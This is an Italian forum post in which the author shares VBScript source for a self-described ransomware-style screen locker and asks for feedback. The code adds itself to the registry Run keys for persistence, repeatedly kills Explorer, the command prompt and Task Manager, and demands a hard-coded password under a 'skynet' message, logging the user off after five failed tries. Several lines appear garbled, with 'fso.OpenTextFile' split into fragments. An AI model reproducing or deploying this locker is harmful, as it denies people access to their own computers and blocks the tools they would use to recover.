salve popolo di inforge
ho deciso di pubblicare qui il codice sorgente di una specie di ransomware scritto da me (VBS)
Set shell=CreateObject("WScript.Shell")
Set speake=CreateObject("SAPI.spvoice")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
shell.run path+"2.vbs"
stupid=Null
WScript.Sleep 500
ch=5
Set file2=fs
penTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
Do
user=InputBox("skynet ha preso possesso del tuo pc. se vuoi riaverlo, inserici la password qui : "&vbNewLine&stupid,"tentativi rimasti : "&ch)
If user<>"CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" Then
ch=ch-1
If ch=0 Then
Set file2=fs
penTextFile(path&"POOP.txt",2)
file2.WriteLine("")
file2.Close
shell.Run "shutdown.exe /l"
End If
stupid="PASSWORD ERRATA"
End If
Loop Until user="CEnQzMjW5x2Ih79P0YdoabTsyrHMbYhzTeJE8ibR47FO2Hy5mQEza2AP30UY@@@" 'CHANGE THE PASSWORD
Set file1=fs
penTextFile(path&"POOP.txt",2)
file1.WriteLine("OK")
file1.Close
speake.speak "bentornato!"
WScript.Sleep 3000
On Error Resume Next
Set shell=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"
path1=WScript.ScriptFullName
path2=WScript.ScriptName
path=Replace(path1,path2,"")
Do
shell.Run "taskkill /F /IM explorer.exe",0
shell.Run "taskkill /F /IM cmd.exe",0
shell.Run "taskkill /F /IM Taskmgr.exe",0
WScript.Sleep 1000
If fso.FileExists(path&"POOP.txt") then
Set check=fs
penTextFile(path&"POOP.txt",1)
line=check.ReadLine
check.Close
If line="OK" Then
Set check1=fs
penTextFile(path&"POOP.txt",2)
line=check.WriteLine(Null)
check1.Close
shell.Run "explorer.exe"
WScript.Quit
end if
End If
Loop
che ne pensate?